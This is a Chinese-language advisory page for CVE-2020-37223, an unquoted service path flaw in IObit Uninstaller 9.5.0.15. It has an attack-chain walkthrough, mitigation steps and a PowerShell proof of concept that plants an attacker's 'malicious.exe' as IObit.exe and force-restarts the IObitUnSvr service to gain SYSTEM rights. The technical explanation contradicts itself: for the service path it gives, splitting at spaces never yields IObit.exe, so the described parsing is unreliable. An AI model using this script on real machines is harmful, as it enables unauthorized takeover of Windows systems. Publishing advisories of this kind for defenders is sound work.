IPBUF安全漏洞报告
English
CVE-2020-37223 CVSS 7.8 高危

CVE-2020-37223 IObit Uninstaller权限提升漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2020-37223
漏洞类型
权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IObit Uninstaller

相关标签

权限提升本地攻击IObit未引用服务路径Windows

漏洞概述

IObit Uninstaller 9.5.0.15 版本中存在一个未引用服务路径漏洞。该漏洞源于 IObitUnSvr 系统服务的安装路径未包含引号,允许本地攻击者利用此缺陷进行权限提升。攻击者只需在特定目录下放置恶意可执行文件并重启服务,即可获得 SYSTEM 级别的最高控制权限,严重威胁系统安全。

技术细节

该漏洞的根源在于 IObitUnSvr 服务的注册表键值 `ImagePath` 未被引号包裹。在 Windows 系统中,创建服务时如果可执行文件路径包含空格且未加引号,服务控制管理器(SCM)会从路径开头解析,直到遇到第一个空格,并将该部分视为可执行文件,其余部分视为参数。对于 `C:\Program Files (x86)\IObit\IObitUnSvr.exe`,系统会尝试执行 `C:\Program.exe`,若不存在则尝试 `C:\Program Files (x86)\IObit\IObit.exe`。由于普通用户通常对 `C:\Program Files (x86)\IObit\` 目录拥有写入权限,攻击者可在此目录下放置名为 `IObit.exe` 的恶意可执行文件。当服务重启或系统重启时,SCM 会错误地加载并执行攻击者的 `IObit.exe`,而非原本的服务程序。由于服务通常以 SYSTEM 权限运行,攻击者的代码也将以 SYSTEM 权限执行,从而成功实现从普通用户到系统管理员的权限提升。

攻击链分析

STEP 1
侦察
攻击者确认目标系统安装了 IObit Uninstaller 9.5.0.15,并检查 IObitUnSvr 服务的路径配置及目录权限。
STEP 2
武器化
攻击者准备一个恶意的可执行文件(如添加后门用户或反弹Shell的程序),并将其重命名为 IObit.exe。
STEP 3
投递
利用普通用户权限,将恶意文件 IObit.exe 复制到 C:\Program Files (x86)\IObit 目录下。
STEP 4
利用
攻击者触发服务重启(通过命令行或等待系统重启),Windows 服务管理器因路径未加引号而错误加载攻击者的文件。
STEP 5
权限提升
恶意代码以 SYSTEM 权限执行,攻击者成功获得系统最高控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit Title: IObit Uninstaller 9.5.0.15 - Unquoted Service Path Privilege Escalation # Description: Copy payload to target path and restart service. $TargetPath = "C:\Program Files (x86)\IObit" $PayloadName = "IObit.exe" $ServiceName = "IObitUnSvr" # Check if the vulnerable directory exists if (Test-Path $TargetPath) { Write-Host "[+] Target directory found." # Copy malicious payload (e.g., add user, reverse shell) to the target # Assuming 'malicious.exe' is the attacker's payload if (Test-Path ".\malicious.exe") { Copy-Item ".\malicious.exe" "$TargetPath\$PayloadName" Write-Host "[+] Payload copied to $TargetPath\$PayloadName" # Attempt to restart the service to trigger the exploit try { Restart-Service -Name $ServiceName -Force -ErrorAction Stop Write-Host "[+] Service $ServiceName restarted. Exploit executed." } catch { Write-Host "[-] Failed to restart service. Manual restart or system reboot required." } } else { Write-Host "[-] Payload 'malicious.exe' not found in current directory." } } else { Write-Host "[-] Target directory not found. IObit Uninstaller may not be installed." }

影响范围

IObit Uninstaller 9.5.0.15

防御指南

临时缓解措施
建议用户立即将 IObit Uninstaller 升级至最新版本以修复该漏洞。如果暂时无法升级,应限制普通用户对 `C:\Program Files (x86)\IObit` 目录的写入权限。此外,具备系统管理权限的用户可以手动打开注册表编辑器,定位到 IObitUnSvr 服务,将其 `ImagePath` 的值用双引号括起来(例如 `"C:\Program Files (x86)\IObit\IObitUnSvr.exe"`),然后重启服务以缓解风险。

参考链接